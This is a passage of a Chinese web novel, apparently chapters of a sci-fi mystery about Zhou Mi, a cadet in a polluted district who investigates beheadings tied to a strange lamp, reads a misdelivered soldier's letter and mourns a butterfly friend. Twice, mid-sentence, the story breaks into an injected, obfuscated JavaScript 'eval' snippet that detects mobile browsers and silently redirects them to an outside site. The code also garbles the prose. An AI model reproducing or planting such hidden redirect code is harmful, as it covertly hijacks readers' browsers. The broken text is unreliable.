空气中那阵原本紧贴的脚步声也停住了,恰好有两只扭打的猫从对面墙角冲出来,它们疯狂朝周觅哈气,等着周觅神色自然的经过,它们紧绷的身子还是没有舒展,圆溜溜的眼睛直勾勾盯着墙后那个令他们炸毛的身影。 那身影注意到周觅的脚步加快,不一会因为蓝粒的影响,她的身影灰蒙蒙的在前方的路口消失不见,似乎被巨大的雾气吞并,仿佛从未出现过。 他急了,不顾这两只猫此起彼伏的哈气声,就要往前走,可脚还没迈出,一把利刃从他身后搭在了他的脖颈上,刀身闪着寒光划过男人的眼角,明晃晃的杀气刺的他不敢睁眼。 他喉头哽住,一声发不出,好不容易睁开眼睛,颤颤巍巍地回头,果然是被他跟踪的周觅。 “您.....您怎么回来了,我......” “闭嘴。”周觅一脚把他踹倒在地,盯着他看了好一会,忽然觉得这人有点眼熟。 他往墙角里缩了缩,趁着周觅开口前,赶紧道,“我昨晚跟你们一起出去的,我本来是准备打劫你们俩,结果我看见蝴蝶被杀了,我一直偷偷蹲在边防线外。那个人的脸我看到了,他当时差点发现我,这半张脸就是被他毁了,我来找你是想跟你做个交易。” 虽然他不是好人,但是他不杀人,没等他朝天发誓,周觅上下扫他一眼,轻轻踢了他一脚。 “你要什么?”周觅蹲下来,直视这只长相丑陋,半张脸用白纱布裹起来的绿色癞蛤蟆,他脸上坑坑洼洼,一激动一害怕跟火山爆发似的流出些恶心的液体,甚至还会咕嘟咕嘟的冒泡,怪奇葩的。 周觅看多了所谓的非人物种,并不觉得多么不入眼,她只是示意他继续说。 绿咕咕见她没有嫌恶地盯着他打量,神色一切如常,心里舒服了点,于是他也好声好气的,“我想去地下城。” 地下城入口在中区,比起中区有朝一日可能也被污染的惨状,地下城内的日子可就太好过了,机会也更多。属于米拉尔星球真正核心的地盘。 “可是地下城的规定,非人物种是进不去的。” 不是周觅不想帮忙,过安检的第一步——看脸。绿咕咕长得和人类几乎两模两样,安检员扫一眼就知道它是癞蛤蟆,咋进去? 他点点头又摇摇头,已经做好了准备,“地下城新规定,只要是和人类签订终身主仆协议,就可以进去。” “每个月我打工挣的钱可以给你80%,我......” “等等,别继续说了,你为什么找我?”周觅已经无法直视他了,瞧这可怜巴巴的语气,他撒娇实在是很难看,还是别了,闭了闭眼睛,一睁眼还是这张绿油油的脸,周觅吸气呼气好一阵子,才示意他回答自己。 绿咕咕眼底闪过一丝仇恨,“地下城本来就是我们蛙科一族,被那些外来人类霸占,而你们这些没什么钱的人,不是也只能生活在这被污染区?” “而且你对蝴蝶那么好,我相信你是个好人。” 人类与人类之间没有绝对的群体,没有完全的好坏,可是个体与个体之间,绿咕咕想,周觅就是他选择相信的个体。 “我可以帮你,我不需要你的钱,留着吧,回到你的家乡去。”周觅注意到他脖颈间因为订立协议时隐时现的能量锁,这种东西每个非人物种都有,平时不会出现,除非是被通缉或者其他情况,才会巨显眼的环在他们脖子上,无比耻辱的象征,这是为了更好的控制他们的证明。 周觅想了想,还是提醒他,“地下城订立新规,为的是劳动力,你知道吧?” “我知道,但是我们这一族好久没看过我们自己曾经的家了。”绿咕咕躺在地上,裹着纱布的半张脸疼的他又疼又痒或许皮肉全烂了,可他不在乎。 绿咕咕从不怨恨自己的出身,只怨恨霸占了自己家乡的人,他想自己有朝一日一定要夺回来。 协议生效了,他谢了又谢,说起那男人的长相,也只能断断续续的说出三分,他看到了机械臂,周觅信他,不过此事还需要从长计议,那男人神出鬼没的,只能等着他来找,她去找他不现实,除非.....她去主星,去联邦找他。 “那晚蓝粒波动不寻常,蝴蝶上楼去的时候,我就在楼下等着看看今晚有没有肥羊,谁知道楼底下的狗一直不停的喊,我跟它关系还不错,它不可能不认识我,我立马躲起来,可它还在叫,等你们快要下楼的时候,它不叫了,但我也不敢出来,我害怕。” 绿咕咕知道自己长得丑,还干这种抢劫的勾当,可他真的胆子超级小,所以等二人离开后,他才出来,结果他看到的就是那只狗,头部已经不知道被什么东西干脆利落的斩断了,至于狗头去了何方。绿咕咕在墙角里害怕的吞了吞唾沫。 “今早看见一楼住户一直哭,我昨晚害怕那东西还在附近,就砸碎了灯想吓那东西一跳,您可不能告诉一楼的人灯是我砸的,不然她怀疑是我杀了她的狗怎么办。” 听完这话,周觅的表情有点奇怪,绿咕咕眨巴眨巴眼睛,犹豫道,“怎么了吗?” “灯没坏。”周觅表情冷下去几分,至少早晨她从家里出发去上学的时候,天亮只蒙蒙亮,电灯挂在二楼阳台要掉不掉的悬挂在铁制栏杆旁,闪着微弱的冷光。 “不可能!” 绿咕咕瞪大眼睛,他一着急脸上坑坑洼洼的泡泡更是急发出“咕嘟咕嘟”的煮粥声,周觅没眼看,摆摆手示意自己要回去了。 天色有些晚了,却不是深夜,各家的灯大部分肉眼可见的还亮着,从雾蒙蒙的窗子内投射出来,蓝粒形成丝丝缕缕状的雾气,将这些光快速吞没。 风大了很多,夜里肯定还要下雪,被风吹起的光秃树干沙沙划过昏暗的玻璃窗,里面看不见外面,外面也看不见里面,绿咕咕叹了口气,拍拍身上沾上的雪,想着自己也早些回去。 行至岔路口他要往右拐,不知为何他抬头看了眼还悬挂在二楼栏杆处的那盏灯,不过是复古的白炽灯,发展到现在很少有人会使用了,风一吹过,它身下的铁栏杆跟着风直晃,二楼的门没关紧,能被外人窥见里面的楼道。 周觅也不过才走到二楼,刚要再往上面爬,下意识想起绿咕咕的那些话,只是她没有看那盏白炽灯任何一眼,只当它同自己不相关。 绿咕咕见她的身影消失在二楼往上走去,眼神飘忽地盯着这灯看了又看,可终归没觉察什么不对劲,只是在他转身之际,这灯似乎被风吹得晃了晃,好久才在蓝粒愈重,风雪渐起的深夜开始疯狂闪烁。 周觅的家在五楼,买下这里是很久之前的事情了,当时的卖家着急出手,听说是小儿子要去当兵了,他们一家便一起搬走去了主星,能收到主星邀请的军人待遇很好,没理由不去,因此被周家捡了个漏,不过后来父母因为工作问题,这里剩她和姐姐。 姐姐四年前去星际广播站工作了,不怎么回来了,周觅又不是小孩子,她可以照顾好自己。 随着时代发展,孩子们心智已经越来越早熟,隔壁张大婶她家的大儿子因为精神力不高,没有读军校,课程是很快的,十四岁读完大学后,他就跟同班同学结婚了。 不过现在讲究地位平等,男女之间没有什么压迫,这哥们据说现在在普通学校做老师,薪资待遇还可以。 周觅一路读得都是军校,精神力也高,十八岁参加高考后,有极大几率被选入主星几大军队学院读书,不过军校从早到晚上课,两人从小还在一起玩泥巴,长大后倒是没见过几面。 她进了屋子把书包放好,面包和牛奶就放在鞋柜上,以防她起得晚来不及在家里吃。 拉好窗帘,她坐到自己卧室的书桌前,翻找出书包内的那封信,是爸爸妈妈寄给她的信吗?她翻来翻去,看到了来信地址,怎么一片马赛克,她很快反应过来,这种情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238709|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该是来自军区的信。 周觅肯定自己在军区没认识的人,或许是炽音认识的人也未尝不可。 可是,炽音......不可能,炽音只有她这么一个朋友,她看了看自己戴在左手的戒指,是炽音骨灰留有的一点做成的,很圆润的玻璃质感,冰冰凉凉,没有温度,像是一盆枯死怎么浇水也活不过来的草。 她忍不住落了几滴泪在信纸上,有点不礼貌,这是人家寄错的信吧,她赶紧一抹脸,定下心神,可是收信地址也没错,甚至门牌号都是对的,怎么回事? 周觅想给缇娜发消息,缇娜经常用光脑刷星际大事,这个点她肯定没休息,可周觅顿了下,她试着自己能不能打开再说。 星际对于涉及个人隐私问题的事情都很严格,如果来信人不想给她看到,会设定一系列密码锁或者瞳孔识别技术,就算没设置,对方不想给你看到,打开的一瞬间,信件也会灰飞烟灭。 信件散发着淡淡的草本植物气息,是一种枯黄几近萧瑟的荒原气息,或许夜晚有星光,也有野兽的呼号。 可是再细闻下去,有浓重的烟草未,有人拿着这封信时在抽烟。 周觅想这封信在到她面前应该经过了辗转反侧的星际之路,轻轻掀开粘合紧密的封条,竟然能打开,周觅眨巴眨巴眼睛,有点紧张。 信纸从信封内被她抽出来,淡黄的信纸像是星际邮局常卖的那一种,很大众化,散发着微弱亮光的台灯,带着黄晕打在这张纸上,使薄薄一层的它变得透亮。 不过短短一页,写的不算多。 这人也没有用书信格式,看上去是写了篇小作文。 周觅往下读,“今天是星际3900年四月七日,我是都晏,这是我跟随陆军作战部队以及甲兵营来到B-3214星球的第七天,我们从四月一日凌晨入境,几乎从未休息过,这里的叛军实力比我们想象中的要猛烈很多,我向联邦申请派更多的部队前来收复B-3214星球,但联邦并未有任何回应,因此蒋恒我希望你帮我个忙,能不能帮我在联邦问一下,看看我送往联邦作战部的信件被送到了哪里,我们许多战友已经死于非命,可能需要加快审批工作。 我还记得我们当初一起在指挥学院的样子,你现在已经留校任教经常对我抱怨没有机会随军出战,战争的确与学院的许多课程在一定程度上有不同的地方,我们来到的B-3214星球,这里几乎无法长出新鲜植被,又因为叛军多,几乎成为了这些罪犯的天堂。 我知道你家北部星球北部就是这样,蓝粒污染也使你们生活困苦,不过你们北部出的大多是忠贞爱国的勇士,我在部队里听说过你带出了不少厉害的学生,大部分现在都在联邦的特种部队,我无比钦佩你的能力。 不知道你能否收到这份信件,但如果收到的时候,我已经在战役中死去,请你帮忙将我的尸体运回A-4090星球,我没有家人了,但那是我的家乡。” 读完,周觅低下头好久,默默地无法说话,她叹口气,直到这封信是真的送错了,送给的是曾经住在这里的哥哥,她有这个哥哥现在的地址,应该能在明天送到,不过她拆开了这封信件应该给这人回个信,不然太不礼貌了。 随着她能打开的讯息,信封上面的地址也已经对她公布。周觅郑重地选了张纸,思虑良久这才开始落笔。 忽然门被人敲响,敲得太重太不礼貌,周觅眉头紧锁,不想去开,说不定又是楼下张大婶摸错了家门,有过好几次的事情了。 可那人还在大力敲,每敲一下都用了大力气,周觅感觉自己得去换个门了,不然迟早有天会坏。 她搭着毛绒小狗拖鞋踩在能反光的地板上,轻轻走过去看了眼猫眼,她打开门,诧异道,“郑老师?” 来人不是郑同玉是谁呢? 郑同玉点点头,脸埋在黑暗的廊道里看不清神色,但刚要说话,楼下传来一阵迅疾的脚步声,看到郑同玉在这里,他们身着警服快速训斥,“干什么呢,干什么呢?把身份证逃出来,我们要检查。” 每层楼都响起大大小小的开门声连同抱怨一起,旁边几户大部分住的老人,睡得很早,敲了几下不开门,警察便先过来查周觅和郑□□的身份证。 他们眼神像鹰一般,快速扫过两人的证件,见没有问题,他们便点点头就要去别家。 郑同玉拽住几人上下打量一下,她神色晦暗不明问道,“出什么事情了?” 蓝粒爆发严重的夜晚,还值得这些人过来跑一趟,不是大事,这些人不会冒险过来的,两人对视一眼,没了早上的心思各异,都若有所思地盯着警察。 他们神色严肃,但周觅是这里的住户,告诉也无妨。 “是二楼的张方,晚上被人发现死在了楼外,头已经丢失,我们做了DNA检测,才发现是他。据我们所知,这已经是你们这里的第二次命案,你一个小姑娘要注意。” 4. 蝴蝶之死(四) “谁?谁死了?” 周觅不可置信地瞪大眼睛,警察看她反应有点大,不禁多看她两眼,又说了遍,昏黄的廊道内,周觅止不住的神色恍然。 张方,张大婶的儿子,就是那个小时候经常和周觅蹲在一起玩泥巴的哥哥。 这个街道人口并不多,应该说住在星球地面上的人口就不多,大部分有钱精神力不强的人会选择去地下城生活,住在上面的人口本来就稀少,这死了任何人一个,警察都会发疯似的盘问,为了少赔点钱,将责任都推卸给死者,是他们一贯套路。 她还在思考着那盏灯的诡异之处,忽然听到警察问自己最后一次见他是什么时候。 周觅脑子里乱哄哄的,她莫名闷得不行,喘了几口气只觉得空气内的气流还是那么静止不动。 她回答警察的话,“上个星期日,我早上起来去倒垃圾。” “好的,不要紧张也别太害怕,我们会问每一个人,你们赶紧进去吧,蓝粒最近太疯狂了。”警察看她脸色不好,只觉得是这孩子被吓得,他们赶紧让她进门。 下一户的门正巧也开了,头发花白的老太太连眼镜都带反了,今晚真是太折磨人。 “郑老师,您要进来吗?” 周觅见还站在门口的郑同玉脸色平淡,看不出她到底在想什么,但总归是来找自己的,警察们一时半会也不会走,她便让开身子,请郑同玉进去。 郑同玉一挑眉,垂下的眼眸撇了她一眼,随后跟着她进门。 门“吱呀”一声又被关上,郑同玉踩着自己的军靴坐在她家的沙发上,这个房子有点年头了,虾子红的古董瓶子内插着几根孔雀毛,像是从旧货市场淘来的鞋柜门已经有些关不上,漏出里面各式的鞋身一角。 头顶的灯没开,只有各式各样的壁灯闪着极弱的微光,郑同玉转过脸,鼻尖耸动两下,闻到空气里飘着淡淡的茶香。 “我晚上有时候会看会书,但是课程很多,我害怕自己睡过去,一般会煮点红茶,给您倒了杯。”周觅端了两杯红茶过来,茶水的颜色在昏暗的灯光下显得昏黄,她没看周觅,只是眼神盯住杯身打量着。 她若有所思地开口,“你们家很多古物件,要是卖出去,能卖个大价钱。” “这些很多都不是我们自己家的,这房子是二手买来的。”周觅是研究怎么通过训练让自己的精神力变得更高的中学生,不是研究古董物件的文人,她只能通过摇头表示自己一无所知。 郑同玉的脸在壁灯的幽光照射下,被投放在静止不动的茶杯水面内,那身影忽然晃了晃,原来是郑同玉端起了水杯。 这杯看上去苦涩的液体,带着淡淡的香,在北部气候严寒又冰冷的月夜,就这么勾引她,诱惑她,使她第一次破例,喝下人生第一杯自己家外的水。 “这房子你们家买了多少钱?” “我不知道,爸爸妈妈从来不跟我说这些事情。”周觅觉得话题有点奇怪,这人像是没话找话,郑同玉眼帘一抬,“你这房子的主人是不是叫蒋恒?” 蒋恒就是原房主的儿子,她点点头,这没什么好隐瞒的,况且眼前的女人有备而来。 郑同玉手在低矮的茶几上慢慢滑动,指纹不一会儿便爬满窄小茶几的每一处。她感受老房子内的气息,似乎能通过这样的举动知晓对面周觅身上究竟有什么秘密。 她调过档案,眼前这个十六岁的姑娘,身份没有任何值得存疑的地方,可郑同玉清楚自己为什么被调到这里,她要像狗一样嗅出眼前的姑娘身上到底有什么值得被研究的地方。 “蒋恒有一个妹妹。”郑同玉开口,周觅神色淡然,她直视眼前的郑老师,咽下满心的疑问,郑同玉轻笑一声,眼睛眯了眯,带了些许危险,她红唇轻启,下一刻就要吐出蛇信子,可惜郑同玉是真正的人类,DNA检测每一代血缘都没被稀释,因为每代都生出女儿,且跟随母姓,属于完全的母系传承。 她说,“你和他妹妹的生日同一天。” “这种巧合太多了。”周觅歪了歪头,颇有些阴森的天真盯着她,漆黑的瞳孔内倒影出郑同玉绿眸内的迫切神色。 郑同玉面对压迫的直觉在心里疯狂叫嚣,她皱了皱眉,下意识坐直了身体,从前倾的威胁姿态到完全端正的坐姿,那股若有似无的气压这才淡了些。 “抱歉,是我太心急了,他是最有可能成为三大元帅之一的人,我想跟他搞好关系,你要知道在军部晋升多么不容易,你说呢?”郑同玉几乎不需要考虑,立马示好,周觅淡笑地应了声,她懂什么,能懂什么? “我只知道他住在哪里,几乎没说过话。”周觅不忍心她继续唱独角戏了,接了句。 她只在心里期盼这女人的晋升之路千万别再来自己,这种拙劣的谎言,周觅面上不显,心里却暗自鄙夷。 虾子红的古董瓶内插着的孔雀羽毛被外面忽然猛地关门,惊得一颤颤,晃了几下,也震的昏暗宛如一场噩梦中的两人幡然醒悟。 郑同玉起身告别,她行至门口,手才放在门把上,想起来什么似的转过头,似威胁又温和道,“我不想被第三个人知道,可以吗?我来找你也是担心你,你身上有非人物种的干扰波动。” “当然。”周觅勾唇,情绪不显,郑同玉在关门的那一刻,温和的神色降了下来,她恢复了那副嘲天讽地的冰冷模样,带着生人忽近的距离感踩在吱呀乱响的木头阶梯上往下走。 二楼的张大婶哭倒在几个警察怀里,她细数自己儿子的苦劳,几个女警在一旁安抚着她,听她那些话颠三倒四的说。 郑同玉站在二楼楼梯口向外延伸的阳台后,抱胸环顾四周,许久没出声也没动,她想与黑暗融入一体,去探寻自己想要找到的东西,那些不成文的精神力的确在此刻将她困住,困在一团迷雾中,如此得不到喘息。 可惜,各个楼层皆嘈杂得不到片刻安宁,她和这老旧的楼一样,成为了时代的遗物。 楼上有人下楼,应该是那些警察,她不想被人看到在这里徘徊。快速下楼,推开单元楼的门,出去的瞬间从天而降一道明晃晃的光照耀着她,她成了要演舞台剧的女主。 郑同玉若有所思地抬头看了它好几眼,它与寻常死物一般发挥着它被人类赐予的唯一能力。 周围也有亮着灯的人家,唯独这盏灯最亮,郑同玉讽刺一笑,不过一个死物,她竟然一瞬间以为这东西在盯着自己,摇了摇头,她摸了下自己由风勾起的长发,它在蓦然之间遮住了她的视线,郑同玉恍惚间竟然无法分清自己的前路,东南西北全在她的眼前,变成一片片碎掉的镜片,似乎变成一个个独立的空间。 是蓝粒作祟的结果,她不需要考虑就能做出的判断。 她走后,周觅紧锁好门,几个爷爷奶奶也在警察坚持不懈的盘问中,终于关上了门,五楼再度回归它该有的寂静。 周觅躺在床上,今晚的茶水她一口没喝,郑同玉喝过水的杯子,还安静的放在充满她指纹的茶几上,没人会动,它会一直安安静静的待在那里,在某天周觅忘记它的时候,被收拾好,放在一群熟悉它的人身边。 本来准备睡觉,可是她看到那封送错的信,估计是名叫都晏的士兵不知道蒋恒如今住的地方才会送错,她决定除了给主人回信,也要给蒋恒写一封,顺便把这封信寄给蒋恒,本来就不属于她的东西,她不应该擅自扣留,打开已经是信主人的赦免了。 写完两封信,已经是晚上十点多,她很少这个点睡,躺在床上,却一阵阵的睡不着,身上的被子很久很久没捂热,很冷很冷,可她竟然在隔音不好的卧室内,随着张大婶紧一声慢一声的哭嚎中安稳睡去。 半夜十二点,她手上戴着的那枚戒指,借着蓝粒的光渐渐地从里面飘出一些淡淡宛如烟雾的东西,它低低在周觅轻蹙的眉头间徘徊,终于它找准时机,猛地往她眉心钻去,大部分烟雾在触及到她时“砰”的一声乱散,只有几丝像水母触手的东西,成功进入她的精神脑海。 “周觅,周觅”有人在喊她,周觅晃晃脑袋,难道是郑老师还没走吗? 她费劲地支起身子,好不容易才睁开眼睛看喊自己的人,她有一双金黄色的瞳孔,仍然是一帧帧慢放似的笑容,头上的触角因为紧张不安分的乱颤。 “周觅。” 这喊自己的人不是炽音是谁呢,周觅猛地冲过去,可身体似乎被绑住了,牢牢固定在某处,她费力的想挣脱,一脑门子汗顺着她的额头往下落,钻到她被长发遮掩的后颈去。 “周觅,你别乱动,这是你的梦,我想来看看你,最后一眼,以后我们再也不会相见了。”炽音一直在笑,她没有泪腺,悲伤也不知道从何释放,只是她明白痛,更亲眼见证了周觅为她流下的眼泪与无法平静下来的精神波动。 周觅一听这种话,脸色刷的一下白了,她摇摇头,咬着下唇愤愤道,“你什么都没做错,可是他夺走了你的生命,他还威胁我,炽音,你别走,我不想你离开我。” 炽音仍然是一帧帧的笑,什么都没变,可周觅分明感知到她在伤心,她同样不想离开,“炽音。”周觅忍不住喊她,祈求她。 “我从小就不被人喜欢,是你一直保护我,现在也是,你明明有更多选择的机会,却为了我这一具毫无意义的身体,同意去联邦,周觅,我不会真正的离开,我会变成每一个人的样子,陪着你,如果有一天你能找到我的家乡——蝴蝶之境,那你或许能找到我,我的归宿就在那里。” 蝴蝶之境,史前巨著记载的那么一个地方,在曾经名为地球,现在已经毫无生命体征的一个地方,传说是人类一开始的家园,后面慢慢的大家离开这个地方,演化出了现在的宇宙空间。 上面还有生命吗? 周觅不禁疑惑,但她不自觉地流着滚烫地泪点头,“我会去找你的,一定,一定会去找你的。” “周觅,你要知道人都会有死的一天,在我活着的时候,的确有一段日子很难受,但遇见你之后,我很幸运很开心,人都会说爱这个字,那我最爱的人肯定是你。” 那一帧帧慢放的笑容在周觅眼前开始分崩离析,这是周觅的蝴蝶小人耗尽最后一丝力量想要传达,生前从未说过的话。 凌晨三点,茉莉区的大本钟敲响,这时候蓝粒波动变小,一些早餐店要准备开门了,平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238710|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日里上学的时候,再过两个小时,学校的运输班车就会过来带她走,每天如此的生活,终于开始瓦解。 这个梦做的她再也睡不着,起来坐在自己的书桌前,愣了好久好久,久到她一直断断续续地流泪,再也绷不住了。 对那个男人的恨,未能救下炽音的遗憾,一直挑动她最紧张的神经,她坐在书桌前,也坐在外面有些店家开始搬东西,打开店门的丁零当啷声里面,灯也不开,任凭黑暗包裹她的身体。 黑夜往她背上延伸,与她的长发链接在一起,长发远比比黑夜的墨色要更顺滑。 周觅的耳垂处打了三个耳洞,但她平日不戴耳钉,三个洞孤零零待在她的右耳垂上,每一阵风穿过去都是一片小漩涡。 这三个耳洞是她身为德拉斯民族血统的证明,比起正统人类,他们的血统更纯粹,更受军方与管理层欢迎,周觅平日能不戴这倒霉耳钉就不戴,她感觉很奇怪,被别人从头到脚打量,几乎每个人都要问她,血统这么纯粹的德拉斯民族人怎么不去主星生活。 起先周觅还回答,后来烦了,再也不戴耳钉了,讨厌死了。 早晨她出门将信件放在楼下的星际邮局窗口,会有人来收,她想要出去买菜,家里一根菜叶子都没有了。 “我听说你们那幢楼里有人死了,是不是真的啊?”几个总是早晨出来买菜的大婶认识周觅,拉着她不松手,几个大婶疯狂把自己买的萝卜土豆往她怀里送,为了打听情报她们也是拼了。 “我不知道,我睡得早。” 周觅将手里的萝卜土豆全还给她们,抓起自己的菜付了钱就跑,徒留几个大婶在后面追她,才追几步,她们便蹲在地上喘的不行,只能在后面嘀嘀咕咕,发挥自己的想象力去了。 “哎,主人,主人!”绿咕咕今天过来跟周觅告别,看见她被人追着跑,赶紧也跟着跑起来。 他也胖,跑了一会满脑门子汗,受不了了的扶住自己膝盖喘起来,他赶紧喊人,但周觅不理他,他只好,“周觅周觅!你等等我。” 周觅听见自己的名字,这才停下,她大气也不喘一口,站在一旁,理了理自己稍乱的长发,脚上就搭了个凉拖鞋,也不知道在这种早上还没铲雪的地上是怎么不滑个跟头的。 “你有事?”周觅往水产市场的门口走,她最近在学校一口鱼没吃到,需要买条大鱼让老板给她做好了,她回去直接吃。 绿咕咕脸上还包着纱布,刚才跑的那一段,给他疼的,现在抱着脸直“呼呼”呢,他应了声,恭敬道,“我今天晚上就坐运输车走了,到了之后我给你发消息啊?” 这是要加联系方式,周觅将自己光脑授权打开,跟他一碰,他立马发了几个表情包,还挺开心的。 “我的这些联系方式里面,只有你一个人类,嘿嘿。”绿咕咕傻乎乎的翻看自己的联系人列表,对于自己能去地下城,他实在是太高兴了,“感谢您,我请您吃饭吧。” 周觅下意识拒绝,非人物种与外来物种都活的太艰难了,想了想,她大方道,“不用,我请你吃,以后别叫我主人,我不会应的。” 跟哪家乱跑出来的狗似的,吓死她了。 绿咕咕嘿嘿一笑,摸摸自己的头跟她一起走进水产市场。 一个小时后,看着高达四位数的午餐费用,周觅闭了闭眼再睁开,还是那个数,吃鱼能吃四位数也是开了眼了。 察觉到对面人的无语,绿咕咕正在嗦鱼骨头的嘴顿了顿,他一缩自己本就粗壮短小的脖子,整个人跟长在了肚子上似的,他嘟嘟囔囔的,“我以前都没吃饱过,不过我吃饱一次可以顶大半个月,真的。” 周觅揉揉自己的眉心,“没事,我给你转点钱,既然想在地下城活下去,你没点钱,只会被他们欺负,这顿饭没事,你别担心。” 盯着周觅去付钱的背影,绿咕咕愣了愣,片刻后他低头使劲眨巴着自己“进了沙子”的眼睛。 “你们那有人去世了,是不是因为那盏灯?”绿咕咕等周觅回来后,凑近了些,低着头问她,周觅摇摇头,实话实说,“我不知道,但死因和你说的那只狗是一样的。” “就是那盏灯,你每次上下学要小心,这东西可不简单。” 绿咕咕很担心周觅,但周觅现在只担心自己的钱包,她摆了摆手,“你别担心我了,你自己顾好自己,到地下城要是有人欺负你,你告诉我,我想办法。” “有什么办法?”绿咕咕激动起来,周觅看了他一眼,“没有办法。” “......” 绿咕咕顶着一头脑黑线,吃完了这顿饭的剩下三分之一。 两人告别后,周觅站在小吃摊钱拿了两根烤肠,一根给自己吃,一根给菜市场门口的修鞋大叔,他蓬头丐面每天都蹲在这里,有生意就做,没生意就等着上天赏赐点什么东西吃吃,接过周觅的烤肠,他也不说谢,直接往嘴里塞,吃完了,他又盯着周觅手里还剩的半根。 周觅无语地看他一眼,背过身子就要走,却听见他声音极轻道,“有人一直盯着你看,看了好久好久了。” 郑□□来找女主跟她研究蝴蝶粒子的问题。 5. 蝴蝶之死(五) 有人在盯着自己看? 周觅转过脸看向修鞋大叔,问他,“有人盯着我看?” 可这大叔似乎又陷入了自己的世界,拨弄着周觅给的烤肠签子靠在湿漉漉的柱子旁边,不再搭话。 周觅向前走,大叔盯着她的背影看了会,一口气还没叹下去,直直僵在那。 原因无他,离开的周觅忽然顿住自己的脚步,她骤然回头锁定住紧紧盯着她后背的人,那人蹲在某个鱼贩子卖甲鱼的盆边,不断用手一遍遍翻动同一条甲鱼,甲鱼被他翻得已经快要肚皮朝上了,鱼贩子只能抹一抹头上的汗,不好多说。 见周觅发现他,他索性起身,身高可谓是鹤立鸡群,应该接近两米。 周觅观察的很仔细,他的右耳垂三个耳钉,象征他的身份——德拉斯民族的身份,所谓的纯种人类,鱼贩子不是瞎子,当然看见了。 法律是德拉斯民族谱写的,普通人类与那群被他们贬低到泥地里的其他物种又能多说什么呢。 既然被发现了,他快速走到周觅身边,露出虎牙笑道,“我也是德拉斯民族的,你不也是吗?我是来中心学院上学的,但你们这边的德拉斯血统太少了,我和学校要了身份表,所以我过来找你。” “我不认识你,别跟着我。”周觅神色不变,但她明显没耐心陪这人周旋,这男生却还不依不饶,他捞捞自己的卷毛,站在礼貌的距离,介绍自己,“我是明刹,罗刹的刹。我家在主星,你去过主星吗?我告诉你.......” 周觅也不知道听没听到,只胡乱一点头,不接他的话,他愣了下,没想到自己这么热情的自我介绍,就换来这女孩子这么冷漠的回应,他脸色僵了僵,舌尖舔了下嘴角,绞尽脑汁开始想有什么好的话题。 “周觅,快过来,警察找你呢,你过来下,快点,快点。”张大婶的儿媳妇站在老远的街道就开始喊,引的一堆人回头张望,这个街道上人不多,大家基本上都是熟人,一时间窃窃私语。 明刹在她走后,脸色一冷,拉着一旁一个看热闹没走的大妈向她打听,大妈一看他耳垂上三个耳钉,各个都是联邦的标志,大妈脸色一僵,战战兢兢的不敢看他的眼睛,瞳孔乱晃着说,“还不是周觅他们那幢楼,说是接连死了一条狗和一个人,都是头没了,警察应该发现什么和她有关吧。” 他眉头一挑,看向周觅离开的地方,他在学校的信息库中,找到了周觅这个人的时候,就觉得怪极了,她精神力并不高,但一直住在北区这个有蓝粒污染的地方六年之久。 蓝粒污染在六年前是感染最严重的时候,她不仅没被感染,精神力还逐步变高,这在整个联邦中只有一个人和她出现过同样的情况——蒋恒,这位最有可能冲击三大元帅地位的人。 他从储物戒指中放出自己的机车,跨上去,手腕一扭,机车顿时喷着幽蓝的火,轰隆轰隆地扬起一地灰尘,不过几秒立马冲到了周觅的住所楼下。 五楼的几个老太太吃完午餐后最喜欢晒太阳,她们笑眯眯,慈祥地问明刹,“小伙子有没有对象啊?” 明刹收了自己的机车,不理这群老太太,靠在墙皮几乎全掉的楼道旁等还慢吞吞走着的周觅,他穿着军校的服装,耳垂上又戴着闪闪发光的耳钉,午后的太阳光折射在他的脸上,真正是肤若凝脂,远远看见周觅来了,他招手,虎牙露出来展示了个自己的招牌笑容。 周围站了不少看热闹的人,警察也才刚上去,张大婶紧一阵慢一阵的哭声传来,明刹眉心跳了跳,要不是为了跟周觅多说两句话,这嘈杂又破旧的街道,他一分钟都待不下去。 “我有车,下次我们一起去学校。” “不用。”周觅推开挡在门口的明刹,觉得这人像狗皮膏药似的,黏得很。 明刹被她拒绝也不恼,跟着她往上走,却听周觅问楼管,“现在什么人都能放进来了吗?” 楼管正陪着警察观测场地,他看了眼戴着三个耳钉的明刹一眼,尴尬的地抬起手,又因为害怕眼神只敢在几人之间乱飘。 明刹脸色一僵,他站在周觅下方的台阶,阳光从上下两个楼道的窗口全投射在周觅的脸上,她的脸颊粉里透红,报春鸟嘴里衔着的淡粉色花瓣才能与她色彩相当。 周觅低头看他,瞳孔黑黝黝的像一碗淡淡的苦菊花茶,扣在他的面前,不喝也得喝。 “是我有什么地方得罪你了?”他知道自己绝不能走,她本就多疑,要是走了,再又无深交机会,他清楚自己需要她来获得什么。 “没有。” 周觅见他神色略松,也不欲过多牵扯,她往上走,楼底间内尘埃纷起,阳光透过紫色的窗,它们变成了迷蒙的光影,雾气一般往下落。 明刹盯着她的身影,喉结滚了两下,却在见到从往下走,与他们迎面撞上的郑同玉时,双方神色一凝,莫名的剑拔弩张,但有周觅在场,很快两人脸色恢复正常。 “郑老师?”昨晚才见过的人,又从楼上下来,周觅漆黑的眼眸直勾勾盯着她,明明站在低处往上看,郑同玉却从她的眼里看出了一种极端的俯视与阴森。 